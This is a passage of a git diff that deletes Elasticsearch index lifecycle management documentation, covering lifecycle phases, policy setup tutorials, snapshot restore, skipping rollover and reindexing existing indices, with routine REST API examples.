-You can modify the policy to meet more complex requirements.
-
-. Activate the warm phase.
-+
---
-[role="screenshot"]
-image::images/ilm/tutorial-ilm-modify-default-warm-phase-rollover.png["Modify to add warm phase"]
-
-.. Set one of the following options to control when the index moves to the warm phase:
-
-*** Provide a value for *Timing for warm phase*. Setting this to *15* keeps the
-indices on hot nodes for a range of  15-45 days, depending on when the initial
-rollover occurred.
-
-*** Enable *Move to warm phase on rollover*. The index might move to the warm phase
-more quickly than intended if it reaches the *Maximum index size* before the
-the *Maximum age*.
-
-.. In the *Select a node attribute to control shard allocation* dropdown, select
-*data:warm(2)* to migrate shards to warm data nodes.
-
-.. Change *Number of replicas* to *1*.
-
-.. Enable *Force merge data* and set *Number of segments* to *1*.
-
-NOTE:  When rollover is enabled in the hot phase, action timing in the other phases
-is based on the rollover date.
---
-
-. Activate the delete phase and set *Timing for delete phase* to *90* days.
-+
-[role="screenshot"]
-image::images/ilm/tutorial-ilm-delete-rollover.png["Add a delete phase"]
-
-[discrete]
-==== Create a custom policy
-
-If meeting a specific retention time period is most important, you can create a
-custom policy.  For this option, you use {filebeat} daily indices without
-rollover.
-
-To create a custom policy:
-
-. Go to Management and select *Index Lifecycle Policies*.
-. Click *Create policy*.
-. Activate the warm phase and configure it as follows:
-+
---
-**Timing for warm phase**: 30 days from index creation
-
-**Node attribute**: `data:warm`
-
-**Number of replicas**: 1
-
-**Force merge data**: enable
-
-**Number of segments**: 1
-
-[role="screenshot"]
-image::images/ilm/tutorial-ilm-custom-policy.png["Modify the custom policy to add a warm phase"]
---
-
-. Activate the delete phase and set the timing to 90 days.
-+
-[role="screenshot"]
-image::images/ilm/tutorial-ilm-delete-phase-creation.png["Delete phase"]
-
-To configure the index to use the new policy:
-
-. Go to Management and select *Index Lifecycle Policies*.
-. Find your {ilm-init} policy and click its *Actions* link.
-. Choose *Add policy to index template*.
-. Select your {filebeat} index template name from the *Index template* list. For example, `filebeat-7.5.x`.
-. Click *Add Policy* to save the changes.
-+
-NOTE: If you initially used the default {filebeat} {ilm-init} policy, you will
-see a notice that the template already has a policy associated with it. Confirm
-that you want to overwrite that configuration.
-
-When you change the policy associated with the index template, the active
-index will continue to use the policy it was associated with at index creation
-unless you manually update it. The next new index will use the updated policy.
-For more reasons that your {ilm-init} policy changes might be delayed, see
-<<update-lifecycle-policy, Update Lifecycle Policy>>.
diff --git a/docs/reference/ilm/ilm-actions.asciidoc b/docs/reference/ilm/ilm-actions.asciidoc
deleted file mode 100644
index 4d04e38a400..00000000000
--- a/docs/reference/ilm/ilm-actions.asciidoc
+++ /dev/null
@@ -1,61 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[ilm-actions]]
-== Index lifecycle actions
-
-<<ilm-allocate,Allocate>>::
-Move shards to nodes with different performance characteristics
-and reduce the number of replicas. 
-
-<<ilm-delete,Delete>>::
-Permanently remove the index.
-
-<<ilm-forcemerge,Force merge>>::
-Reduce the number of index segments and purge deleted documents.
-Makes the index read-only.
-
-<<ilm-freeze,Freeze>>::
-Freeze the index to minimize its memory footprint.
-
-<<ilm-migrate,Migrate>>::
-Move the index shards to the <<data-tiers, data tier>> that corresponds
-to the current {ilm-init} phase.
-
-<<ilm-readonly,Read only>>::
-Block write operations to the index. 
-  
-<<ilm-rollover,Rollover>>::
-Remove the index as the write index for the rollover alias and 
-start indexing to a new index.
-
-<<ilm-searchable-snapshot, Searchable snapshot>>::
-beta:[]
-Take a snapshot of the managed index in the configured repository
-and mount it as a searchable snapshot.
-
-<<ilm-set-priority,Set priority>>::
-Lower the priority of an index as it moves through the lifecycle
-to ensure that hot indices are recovered first. 
-
-<<ilm-shrink,Shrink>>::
-Reduce the number of primary shards by shrinking the index into a new index.
-
-<<ilm-unfollow,Unfollow>>::
-Convert a follower index to a regular index.
-Performed automatically before a rollover, shrink, or searchable snapshot action. 
-
-<<ilm-wait-for-snapshot,Wait for snapshot>>::
-Ensure that a snapshot exists before deleting the index. 
-
-include::actions/ilm-allocate.asciidoc[]
-include::actions/ilm-delete.asciidoc[]
-include::actions/ilm-forcemerge.asciidoc[]
-include::actions/ilm-freeze.asciidoc[]
-include::actions/ilm-migrate.asciidoc[]
-include::actions/ilm-readonly.asciidoc[]
-include::actions/ilm-rollover.asciidoc[]
-include::actions/ilm-searchable-snapshot.asciidoc[]
-include::actions/ilm-set-priority.asciidoc[]
-include::actions/ilm-shrink.asciidoc[]
-include::actions/ilm-unfollow.asciidoc[]
-include::actions/ilm-wait-for-snapshot.asciidoc[]
diff --git a/docs/reference/ilm/ilm-and-snapshots.asciidoc b/docs/reference/ilm/ilm-and-snapshots.asciidoc
deleted file mode 100644
index 8682391df99..00000000000
--- a/docs/reference/ilm/ilm-and-snapshots.asciidoc
+++ /dev/null
@@ -1,28 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[index-lifecycle-and-snapshots]]
-== Restore a managed data stream or index
-
-When you restore a managed index or a data stream with managed backing indices, 
-{ilm-init} automatically resumes executing the restored indices' policies.
-A restored index's `min_age` is relative to when it was originally created or rolled over, 
-not its restoration time. 
-Policy actions are performed on the same schedule whether or not 
-an index has been restored from a snapshot.
-If you restore an index that was accidentally deleted half way through its month long lifecycle,
-it proceeds normally through the last two weeks of its lifecycle.
-
-In some cases, you might want to prevent {ilm-init} from immediately executing
-its policy on a restored index.
-For example, if you are restoring an older snapshot you might want to 
-prevent it from rapidly progressing through all of its lifecycle phases. 
-You might want to add or update documents before it's marked read-only or shrunk, 
-or prevent the index from being immediately deleted.
-
-To prevent {ilm-init} from executing a restored index's policy:
-
-1. Temporarily <<ilm-stop,stop {ilm-init}>>. This pauses execution of _all_ {ilm-init} policies.
-2. Restore the snapshot.
-3. <<ilm-remove-policy,Remove the policy>> from the index or perform whatever actions you need to 
-   before {ilm-init} resumes policy execution. 
-4. <<ilm-start,Restart {ilm-init}>> to resume policy execution.
diff --git a/docs/reference/ilm/ilm-concepts.asciidoc b/docs/reference/ilm/ilm-concepts.asciidoc
deleted file mode 100644
index 5ff31b5b34b..00000000000
--- a/docs/reference/ilm/ilm-concepts.asciidoc
+++ /dev/null
@@ -1,16 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[ilm-concepts]]
-== {ilm-init} concepts
-
-++++
-<titleabbrev>Concepts</titleabbrev>
-++++
-
-* <<ilm-index-lifecycle>>
-* <<index-rollover>>
-* <<update-lifecycle-policy>>
-
-include::ilm-index-lifecycle.asciidoc[]
-include::index-rollover.asciidoc[]
-include::update-lifecycle-policy.asciidoc[]
\ No newline at end of file
diff --git a/docs/reference/ilm/ilm-index-lifecycle.asciidoc b/docs/reference/ilm/ilm-index-lifecycle.asciidoc
deleted file mode 100644
index 30b6aaf7862..00000000000
--- a/docs/reference/ilm/ilm-index-lifecycle.asciidoc
+++ /dev/null
@@ -1,103 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[ilm-index-lifecycle]]
-=== Index lifecycle
-++++
-<titleabbrev>Index lifecycle</titleabbrev>
-++++
-
-{ilm-init} defines four index lifecycle _phases_:
-
-* **Hot**: The index is actively being updated and queried.
-* **Warm**: The index is no longer being updated but is still being queried.
-* **Cold**: The index is no longer being updated and is seldom queried. The
-information still needs to be searchable, but it's okay if those queries are
-slower.
-* **Delete**: The index is no longer needed and can safely be removed.
-
-An index's _lifecycle policy_ specifies which phases 
-are applicable, what actions are performed in each phase,
-and when it transitions between phases.
-
-You can manually apply a lifecycle policy when you create an index. 
-For time series indices, you need to associate the lifecycle policy with
-the index template used to create new indices in the series. 
-When an index rolls over, a manually-applied policy isn't automatically applied to the new index.
-
-If you use {es}'s security features, {ilm-init} performs operations as the user
-who last updated the policy. {ilm-init} only has the
-<<defining-roles,roles>> assigned to the user at the time of the last policy
-update.
-
-[discrete]
-[[ilm-phase-transitions]]
-=== Phase transitions
-
-{ilm-init} moves indices through the lifecycle according to their age. 
-To control the timing of these transitions, you set a _minimum age_ for each phase. 
-For an index to move to the next phase, all actions in the current phase must be complete and 
-the index must be older than the minimum age of the next phase. 
-
-The minimum age defaults to zero, which causes {ilm-init} to move indices to the next phase
-as soon as all actions in the current phase complete. 
-
-If an index has unallocated shards and the <<cluster-health,cluster health status>> is yellow, 
-the index can still transition to the next phase according to its {ilm} policy.
-However, because {es} can only perform certain clean up tasks on a green
-cluster, there might be unexpected side effects. 
-
-To avoid increased disk usage and reliability issues,
-address any cluster health problems in a timely fashion.
-
-
-[discrete]
-[[ilm-phase-execution]]
-=== Phase execution
-
-{ilm-init} controls the order in which the actions in a phase are executed and
-what _steps_ are executed to perform the necessary index operations for each action.
-
-When an index enters a phase, {ilm-init} caches the phase definition in the index metadata.
-This ensures that policy updates don't put the index into a state where it can never exit the phase.
-If changes can be safely applied, {ilm-init} updates the cached phase definition.
-If they cannot, phase execution continues using the cached definition. 
-
-{ilm-init} runs periodically, checks to see if an index meets policy criteria, 
-and executes whatever steps are needed. 
-To avoid race conditions, {ilm-init} might need to run more than once to execute all of the steps
-required to complete an action.
-For example, if {ilm-init} determines that an index has met the rollover criteria, 
-it begins executing the steps required to complete the rollover action. 
-If it reaches a point where it is not safe to advance to the next step, execution stops. 
-The next time {ilm-init} runs, {ilm-init} picks up execution where it left off. 
-This means that even if `indices.lifecycle.poll_interval` is set to 10 minutes and an index meets
-the rollover criteria, it could be 20 minutes before the rollover is complete. 
-
-[discrete]
-[[ilm-phase-actions]]
-=== Phase actions
-
-{ilm-init} supports the following actions in each phase.
-
-* Hot
-  - <<ilm-set-priority,Set Priority>>
-  - <<ilm-unfollow,Unfollow>>
-  - <<ilm-forcemerge,Force Merge>>
-  - <<ilm-rollover,Rollover>>
-* Warm
-  - <<ilm-set-priority,Set Priority>>
-  - <<ilm-unfollow,Unfollow>>
-  - <<ilm-readonly,Read-Only>>
-  - <<ilm-allocate,Allocate>>
-  - <<ilm-shrink,Shrink>>
-  - <<ilm-forcemerge,Force Merge>>
-* Cold
-  - <<ilm-set-priority,Set Priority>>
-  - <<ilm-unfollow,Unfollow>>
-  - <<ilm-allocate,Allocate>>
-  - <<ilm-freeze,Freeze>>
-  - <<ilm-searchable-snapshot, Searchable Snapshot>>
-* Delete
-  - <<ilm-wait-for-snapshot,Wait For Snapshot>>
-  - <<ilm-delete,Delete>>
-  
diff --git a/docs/reference/ilm/ilm-overview.asciidoc b/docs/reference/ilm/ilm-overview.asciidoc
deleted file mode 100644
index c67db1a90bf..00000000000
--- a/docs/reference/ilm/ilm-overview.asciidoc
+++ /dev/null
@@ -1,57 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[overview-index-lifecycle-management]]
-== {ilm-init} overview
-
-++++
-<titleabbrev>Overview</titleabbrev>
-++++
-
-You can create and apply {ilm-cap} ({ilm-init}) policies to automatically manage your indices 
-according to your performance, resiliency, and retention requirements. 
-
-Index lifecycle policies can trigger actions such as:
-
-* **Rollover**: 
-include::../glossary.asciidoc[tag=rollover-def-short]
-* **Shrink**: 
-include::../glossary.asciidoc[tag=shrink-def-short]
-* **Force merge**: 
-include::../glossary.asciidoc[tag=force-merge-def-short]
-* **Freeze**:
-include::../glossary.asciidoc[tag=freeze-def-short]
-* **Delete**: Permanently remove an index, including all of its data and metadata.
-
-{ilm-init} makes it easier to manage indices in hot-warm-cold architectures,
-which are common when you're working with time series data such as logs and metrics.
-
-You can specify:
-
-* The maximum shard size, number of documents, or age at which you want to roll over to a new index.
-* The point at which the index is no longer being updated and the number of
-primary shards can be reduced.
-* When to force a merge to permanently remove documents marked for deletion.
-* The point at which the index can be moved to less performant hardware.
-* The point at which the availability is not as critical and the number of
-replicas can be reduced.
-* When the index can be safely deleted.
-
-For example, if you are indexing metrics data from a fleet of ATMs into
-Elasticsearch, you might define a policy that says:
-
-. When the total size of the index's primary shards reaches 50GB, roll over to a new
-index.
-. Move the old index into the warm phase, mark it read only, and shrink it down
-to a single shard.
-. After 7 days, move the index into the cold phase and move it to less expensive
-hardware.
-. Delete the index once the required 30 day retention period is reached.
-
-[IMPORTANT]
-===========================
-To use {ilm-init}, all nodes in a cluster must run the same version. 
-Although it might be possible to create and apply policies in a mixed-version cluster, 
-there is no guarantee they will work as intended.
-Attempting to use a policy that contains actions that aren't
-supported on all nodes in a cluster will cause errors. 
-===========================
diff --git a/docs/reference/ilm/ilm-skip-rollover.asciidoc b/docs/reference/ilm/ilm-skip-rollover.asciidoc
deleted file mode 100644
index feaea73fec8..00000000000
--- a/docs/reference/ilm/ilm-skip-rollover.asciidoc
+++ /dev/null
@@ -1,34 +0,0 @@
-[[skipping-rollover]]
-== Skip rollover
-
-When `index.lifecycle.indexing_complete` is set to `true`, 
-{ilm-init} won't perform the rollover action on an index, 
-even if it otherwise meets the rollover criteria. 
-It's set automatically by {ilm-init} when the rollover action completes successfully.
-
-You can set it manually to skip rollover if you need to make an exception
-to your normal lifecycle policy and update the alias to force a roll over, 
-but want {ilm-init} to continue to manage the index. 
-If you use the rollover API. It is not necessary to  configure this setting manually. 
-
-If an index's lifecycle policy is removed, this setting is also removed.
-
-IMPORTANT: When `index.lifecycle.indexing_complete` is `true`, 
-{ilm-init} verifies that the index is no longer the write index 
-for the alias specified by `index.lifecycle.rollover_alias`.
-If the index is still the write index or the rollover alias is not set,
-the index is moved to the <<index-lifecycle-error-handling,`ERROR` step>>.
-
-For example, if you need to change the name of new indices in a series while retaining
-previously-indexed data in accordance with your configured policy, you can:
-
-. Create a template for the new index pattern that uses the same policy. 
-. Bootstrap the initial index.
-. Change the write index for the alias to the bootstrapped index 
-using the <<indices-aliases, index aliases>> API.
-. Set `index.lifecycle.indexing_complete` to `true` on the old index to indicate 
-that it does not need to be rolled over.
-
-{ilm-init} continues to manage the old index in accordance with your existing policy. 
-New indices are named according to the new template and 
-managed according to the same policy without interruption.
diff --git a/docs/reference/ilm/ilm-tutorial.asciidoc b/docs/reference/ilm/ilm-tutorial.asciidoc
deleted file mode 100644
index 3b290ac8d70..00000000000
--- a/docs/reference/ilm/ilm-tutorial.asciidoc
+++ /dev/null
@@ -1,410 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[getting-started-index-lifecycle-management]]
-== Tutorial: Automate rollover with {ilm-init}
-
-++++
-<titleabbrev>Automate rollover</titleabbrev>
-++++
-
-When you continuously index timestamped documents into {es},
-you typically use a <<data-streams, data stream>> so you can periodically roll over to a
-new index.
-This enables you to implement a hot-warm-cold architecture to meet your performance
-requirements for your newest data, control costs over time, enforce retention policies,
-and still get the most out of your data.
-
-TIP: Data streams are best suited for
-<<data-streams-append-only,append-only>> use cases. If you need to frequently
-update or delete existing documents across multiple indices, we recommend
-using an index alias and index template instead. You can still use ILM to
-manage and rollover the alias's indices. Skip to
-<<manage-time-series-data-without-data-streams>>.
-
-To automate rollover and management of a data stream with {ilm-init}, you:
-
-. <<ilm-gs-create-policy, Create a lifecycle policy>> that defines the appropriate
-phases and actions.
-. <<ilm-gs-apply-policy, Create an index template>> to create the data stream and
-apply the ILM policy and the indices settings and mappings configurations for the backing
-indices.
-. <<ilm-gs-check-progress, Verify indices are moving through the lifecycle phases>>
-as expected.
-
-For an introduction to rolling indices, see <<index-rollover>>. 
-
-IMPORTANT: When you enable {ilm} for {beats} or the {ls} {es} output plugin,
-lifecycle policies are set up automatically.
-You do not need to take any other actions.
-You can modify the default policies through
-<<example-using-index-lifecycle-policy,{kib} Management>>
-or the {ilm-init} APIs.
-
-[discrete]
-[[ilm-gs-create-policy]]
-=== Create a lifecycle policy
-
-A lifecycle policy specifies the phases in the index lifecycle
-and the actions to perform in each phase. A lifecycle can have up to four phases:
-`hot`, `warm`, `cold`, and `delete`. 
-
-For example, you might define a `timeseries_policy` that has two phases:
- 
-* A `hot` phase that defines a rollover action to specify that an index rolls over when it 
-reaches either a `max_size` of 50 gigabytes or a `max_age` of 30 days.
-* A `delete` phase that sets `min_age` to remove the index 90 days after rollover.
-Note that this value is relative to the rollover time, not the index creation time. 
-
-You can create the policy through {kib} or with the 
-<<ilm-put-lifecycle, put policy>> API. 
-To create the policy from {kib}, open the menu and go to *Stack Management >
-Index Lifecycle Policies*. Click *Index Lifecycle Policies*.
-
-[role="screenshot"]
-image:images/ilm/create-policy.png[]
-
-.API example
-[%collapsible]
-====
-[source,console]
-------------------------
-PUT _ilm/policy/timeseries_policy
-{
-  "policy": {
-    "phases": {
-      "hot": {                      <1>
-        "actions": {
-          "rollover": {
-            "max_size": "50GB",     <2>
-            "max_age": "30d"
-          }
-        }
-      },
-      "delete": {
-        "min_age": "90d",           <3>
-        "actions": {
-          "delete": {}              <4>
-        }
-      }
-    }
-  }
-}
-------------------------
-<1> The `min_age` defaults to `0ms`, so new indices enter the `hot` phase immediately.
-<2> Trigger the `rollover` action when either of the conditions are met.
-<3> Move the index into the `delete` phase 90 days after rollover.
-<4> Trigger the `delete` action when the index enters the delete phase.
-====
-
-[discrete]
-[[ilm-gs-apply-policy]]
-=== Create an index template to create the data stream and apply the lifecycle policy
-
-To set up a data stream, first create an index template to specify the lifecycle policy. Because
-the template is for a data stream, it must also include a `data_stream` definition.
-
-For example, you might create a `timeseries_template` to use for a future data stream
-named `timeseries`.
-
-To enable the {ilm-init} to manage the data stream, the template configures one {ilm-init} setting:
-
-* `index.lifecycle.name` specifies the name of the lifecycle policy to apply to the data stream.
-
-You can use the {kib} Create template wizard to add the template. From Kibana,
-open the menu and go to *Stack Management > Index Management*. In the *Index
-Templates* tab, click *Create template*.
-
-image::images/data-streams/create-index-template.png[Create template page]
-
-This wizard invokes the <<indices-put-template,put index template API>> to create
-the index template with the options you specify.
-
-.API example
-[%collapsible]
-====
-[source,console]
------------------------
-PUT _index_template/timeseries_template
-{
-  "index_patterns": ["timeseries"],                   <1>
-  "data_stream": { },
-  "template": {
-    "settings": {
-      "number_of_shards": 1,
-      "number_of_replicas": 1,
-      "index.lifecycle.name": "timeseries_policy"     <2>
-    }
-  }
-}
------------------------
-// TEST[continued]
-
-<1> Apply the template when a document is indexed into the `timeseries` target.
-<2> The name of the {ilm-init} policy used to manage the data stream.
-====
-
-[discrete]
-[[ilm-gs-create-the-data-stream]]
-=== Create the data stream
-
-To get things started, index a document into the name or wildcard pattern defined
-in the `index_patterns` of the <<index-templates,index template>>. As long
-as an existing data stream, index, or index alias does not already use the name, the index
-request automatically creates a corresponding data stream with a single backing index.
-{es} automatically indexes the request's documents into this backing index, which also
-acts as the stream's <<data-stream-write-index,write index>>.
-
-For example, the following request creates the `timeseries` data stream and the first generation
-backing index called `.ds-timeseries-000001`.
-
-[source,console]
------------------------
-POST timeseries/_doc
-{
-  "message": "logged the request",
-  "@timestamp": "1591890611"
-}
-
------------------------
-// TEST[continued]
-
-When a rollover condition in the lifecycle policy is met, the `rollover` action:
-
-* Creates the second generation backing index, named `.ds-timeseries-000002`.
-Because it is a backing index of the `timeseries` data stream, the configuration from the `timeseries_template` index template is applied to the new index.
-* As it is the latest generation index of the `timeseries` data stream, the newly created
-backing index `.ds-timeseries-000002` becomes the data stream's write index.
-
-This process repeats each time a rollover condition is met.
-You can search across all of the data stream's backing indices, managed by the `timeseries_policy`,
-with the `timeseries` data stream name.
-Write operations are routed to the current write index. Read operations will be handled by all
-backing indices.
-
-[discrete]
-[[ilm-gs-check-progress]]
-=== Check lifecycle progress
-
-To get status information for managed indices, you use the {ilm-init} explain API.
-This lets you find out things like:
-
-* What phase an index is in and when it entered that phase.
-* The current action and what step is being performed.
-* If any errors have occurred or progress is blocked.
-
-For example, the following request gets information about the `timeseries` data stream's
-backing indices:
-
-[source,console]
---------------------------------------------------
-GET .ds-timeseries-*/_ilm/explain
---------------------------------------------------
-// TEST[continued]
-
-The following response shows the data stream's first generation backing index is waiting for the `hot`
-phase's `rollover` action.
-It remains in this state and {ilm-init} continues to call `check-rollover-ready` until a rollover condition
-is met.
-
-// [[36818c6d9f434d387819c30bd9addb14]]
-[source,console-result]
---------------------------------------------------
-{
-  "indices": {
-    ".ds-timeseries-000001": {
-      "index": ".ds-timeseries-000001",
-      "managed": true,
-      "policy": "timeseries_policy",             <1>
-      "lifecycle_date_millis": 1538475653281,
-      "age": "30s",                              <2>
-      "phase": "hot",
-      "phase_time_millis": 1538475653317,
-      "action": "rollover",
-      "action_time_millis": 1538475653317,
-      "step": "check-rollover-ready",            <3>
-      "step_time_millis": 1538475653317,
-      "phase_execution": {
-        "policy": "timeseries_policy",
-        "phase_definition": {                    <4>
-          "min_age": "0ms",
-          "actions": {
-            "rollover": {
-              "max_size": "50gb",
-              "max_age": "30d"
-            }
-          }
-        },
-        "version": 1,
-        "modified_date_in_millis": 1539609701576
-      }
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[skip:no way to know if we will get this response immediately]
-
-<1> The policy used to manage the index
-<2> The age of the index
-<3> The step {ilm-init} is performing on the index
-<4> The definition of the current phase (the `hot` phase)
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-DELETE /_data_stream/timeseries
---------------------------------------------------
-// TEST[continued]
-
-//////////////////////////
-
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-DELETE /_index_template/timeseries_template
---------------------------------------------------
-// TEST[continued]
-
-//////////////////////////
-
-[discrete]
-[[manage-time-series-data-without-data-streams]]
-=== Manage time series data without data streams
-
-Even though <<data-streams, data streams>> are a convenient way to scale
-and manage time series data, they are designed to be append-only. We recognise there
-might be use-cases where data needs to be updated or deleted in place and the
-data streams don't support delete and update requests directly,
-so the index APIs would need to be used directly on the data stream's backing indices.
-
-In these cases, you can use an index alias to manage indices containing the time series data
-and periodically roll over to a new index.
-
-To automate rollover and management of time series indices with {ilm-init} using an index
-alias, you:
-
-. Create a lifecycle policy that defines the appropriate phases and actions.
-See <<ilm-gs-create-policy, Create a lifecycle policy>> above.
-. <<ilm-gs-alias-apply-policy, Create an index template>> to apply the policy to each new index.
-. <<ilm-gs-alias-bootstrap, Bootstrap an index>> as the initial write index.
-. <<ilm-gs-alias-check-progress, Verify indices are moving through the lifecycle phases>>
-as expected.
-
-[discrete]
-[[ilm-gs-alias-apply-policy]]
-=== Create an index template to apply the lifecycle policy
-
-To automatically apply a lifecycle policy to the new write index on rollover,
-specify the policy in the index template used to create new indices.
-
-For example, you might create a `timeseries_template` that is applied to new indices
-whose names match the `timeseries-*` index pattern.
-
-To enable automatic rollover, the template configures two {ilm-init} settings:
-
-* `index.lifecycle.name` specifies the name of the lifecycle policy to apply to new indices
-that match the index pattern.
-* `index.lifecycle.rollover_alias` specifies the index alias to be rolled over
-when the rollover action is triggered for an index.
-
-You can use the {kib} Create template wizard to add the template. To access the
-wizard, open the menu and go to *Stack Management > Index Management*. In the
-the *Index Templates* tab, click *Create template*.
-
-[role="screenshot"]
-image:images/ilm/create-template-wizard.png[Create template page]
-
-The create template request for the example template looks like this:
-
-[source,console]
------------------------
-PUT _index_template/timeseries_template
-{
-  "index_patterns": ["timeseries-*"],                 <1>
-  "template": {
-    "settings": {
-      "number_of_shards": 1,
-      "number_of_replicas": 1,
-      "index.lifecycle.name": "timeseries_policy",      <2>
-      "index.lifecycle.rollover_alias": "timeseries"    <3>
-    }
-  }
-}
------------------------
-// TEST[continued]
-
-<1> Apply the template to a new index if its name starts with `timeseries-`.
-<2> The name of the lifecycle policy to apply to each new index.
-<3> The name of the alias used to reference these indices.
-Required for policies that use the rollover action.
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-DELETE _index_template/timeseries_template
---------------------------------------------------
-// TEST[continued]
-
-//////////////////////////
-
-[discrete]
-[[ilm-gs-alias-bootstrap]]
-=== Bootstrap the initial time series index with a write index alias
-
-To get things started, you need to bootstrap an initial index and
-designate it as the write index for the rollover alias specified in your index template.
-The name of this index must match the template's index pattern and end with a number.
-On rollover, this value is incremented to generate a name for the new index.
-
-For example, the following request creates an index called `timeseries-000001`
-and makes it the write index for the `timeseries` alias.
-
-[source,console]
------------------------
-PUT timeseries-000001
-{
-  "aliases": {
-    "timeseries": {
-      "is_write_index": true
-    }
-  }
-}
------------------------
-// TEST[continued]
-
-When the rollover conditions are met, the `rollover` action:
-
-* Creates a new index called `timeseries-000002`.
-This matches the `timeseries-*` pattern, so the settings from `timeseries_template` are applied to the new index.
-* Designates the new index as the write index and makes the bootstrap index read-only.
-
-This process repeats each time rollover conditions are met.
-You can search across all of the indices managed by the `timeseries_policy` with the `timeseries` alias.
-Write operations are routed to the current write index.
-
-[discrete]
-[[ilm-gs-alias-check-progress]]
-=== Check lifecycle progress
-
-Retrieving the status information for managed indices is very similar to the data stream case.
-See the data stream <<ilm-gs-check-progress, check progress section>> for more information.
-The only difference is the indices namespace, so retrieving the progress will entail the following
-api call:
-
-[source,console]
---------------------------------------------------
-GET timeseries-*/_ilm/explain
---------------------------------------------------
-// TEST[continued]
-
-//////////////////////////
-
-[source,console]
---------------------------------------------------
-DELETE /timeseries-000001
---------------------------------------------------
-// TEST[continued]
-//////////////////////////
diff --git a/docs/reference/ilm/ilm-with-existing-indices.asciidoc b/docs/reference/ilm/ilm-with-existing-indices.asciidoc
deleted file mode 100644
index 28a9ffce71c..00000000000
--- a/docs/reference/ilm/ilm-with-existing-indices.asciidoc
+++ /dev/null
@@ -1,202 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[ilm-with-existing-indices]]
-== Manage existing indices
-
-If you've been using Curator or some other mechanism to manage periodic indices,
-you have a couple options when migrating to {ilm-init}:
-
-* Set up your index templates to use an {ilm-init} policy to manage your new indices. 
-Once {ilm-init} is managing your current write index, you can apply an appropriate policy to your old indices.
-
-* Reindex into an {ilm-init}-managed index. 
-
-NOTE: Starting in Curator version 5.7, Curator ignores {ilm-init} managed indices.
-
-[discrete]
-[[ilm-existing-indices-apply]]
-=== Apply policies to existing time series indices 
-
-The simplest way to transition to managing your periodic indices with {ilm-init} is
-to <<apply-policy-template, configure an index template>> to apply a lifecycle policy to new indices. 
-Once the index you are writing to is being managed by {ilm-init}, 
-you can <<apply-policy-multiple, manually apply a policy>> to your older indices.
-
-Define a separate policy for your older indices that omits the rollover action. 
-Rollover is used to manage where new data goes, so isn't applicable. 
-
-Keep in mind that policies applied to existing indices compare the `min_age` for each phase to 
-the original creation date of the index, and might proceed through multiple phases immediately.
-If your policy performs resource-intensive operations like force merge, 
-you don't want to have a lot of indices performing those operations all at once
-when you switch over to {ilm-init}. 
-
-You can specify different `min_age` values in the policy you use for existing indices, 
-or set <<index-lifecycle-origination-date, `index.lifecycle.origination_date`>> 
-to control how the index age is calculated. 
-
-Once all pre-{ilm-init} indices have been aged out and removed, 
-you can delete the policy you used to manage them.
-
-NOTE: If you are using {beats} or {ls}, enabling {ilm-init} in version 7.0 and onward
-sets up {ilm-init} to manage new indices automatically. 
-If you are using {beats} through {ls}, 
-you might need to change your {ls} output configuration and invoke the {beats} setup 
-to use {ilm-init} for new data.
-
-[discrete]
-[[ilm-existing-indices-reindex]]
-=== Reindex into a managed index
-
-An alternative to <<ilm-with-existing-periodic-indices,applying policies to existing indices>> is to 
-reindex your data into an {ilm-init}-managed index.
-You might want to do this if creating periodic indices with very small amounts of data  
-has led to excessive shard counts, or if continually indexing into the same index has led to large shards
-and performance issues.
-
-First, you need to set up the new {ilm-init}-managed index:
-
-. Update your index template to include the necessary {ilm-init} settings.
-. Bootstrap an initial index as the write index.
-. Stop writing to the old indices and index new documents using the alias that points to bootstrapped index. 
-
-To reindex into the managed index:
-
-. Pause indexing new documents if you do not want to mix new and old data in the {ilm-init}-managed index.
-Mixing old and new data in one index is safe, 
-but a combined index needs to be retained until you are ready to delete the new data.
-
-. Reduce the {ilm-init} poll interval to ensure that the index doesn't 
-grow too large while waiting for the rollover check.
-By default, {ilm-init} checks to see what actions need to be taken every 10 minutes. 
-+
---
-[source,console]
------------------------
-PUT _cluster/settings
-{
-  "transient": {
-    "indices.lifecycle.poll_interval": "1m" <1>
-  }
-}
------------------------
-// TEST[skip:don't want to overwrite this setting for other tests]
-<1> Check once a minute to see if {ilm-init} actions such as rollover need to be performed.
---
-
-. Reindex your data using the <<docs-reindex,reindex API>>. 
-If you want to partition the data in the order in which it was originally indexed, 
-you can run separate reindex requests. 
-+
---
-IMPORTANT: Documents retain their original IDs. If you don't use automatically generated document IDs, 
-and are reindexing from multiple source indices, you might need to do additional processing to 
-ensure that document IDs don't conflict. One way to do this is to use a
-<<reindex-scripts,script>> in the reindex call to append the original index name
-to the document ID.
-
-//////////////////////////
-[source,console]
------------------------
-PUT _index_template/mylogs_template
-{
-  "index_patterns": [
-    "mylogs-*"
-  ],
-  "template": {
-    "settings": {
-      "number_of_shards": 1,
-      "number_of_replicas": 1,
-      "index": {
-        "lifecycle": {
-          "name": "mylogs_condensed_policy", <2>
-          "rollover_alias": "mylogs" <3>
-        }
-      }
-    },
-    "mappings": {
-      "properties": {
-        "message": {
-          "type": "text"
-        },
-        "@timestamp": {
-          "type": "date"
-        }
-      }
-    }
-  }
-}
------------------------
-
-[source,console]
------------------------
-POST mylogs-pre-ilm-2019.06.24/_doc
-{
-  "@timestamp": "2019-06-24T10:34:00",
-  "message": "this is one log message"
-}
------------------------
-// TEST[continued]
-
-[source,console]
------------------------
-POST mylogs-pre-ilm-2019.06.25/_doc
-{
-  "@timestamp": "2019-06-25T17:42:00",
-  "message": "this is another log message"
-}
------------------------
-// TEST[continued]
-
-[source,console]
---------------------------------------------------
-DELETE _index_template/mylogs_template
---------------------------------------------------
-// TEST[continued]
-
-//////////////////////////
-
-[source,console]
------------------------
-POST _reindex
-{
-  "source": {
-    "index": "mylogs-*" <1>
-  },
-  "dest": {
-    "index": "mylogs", <2>
-    "op_type": "create" <3>
-  }
-}
------------------------
-// TEST[continued]
-
-<1> Matches your existing indices. Using the prefix for
-    the new indices makes using this index pattern much easier.
-<2> The alias that points to your bootstrapped index.
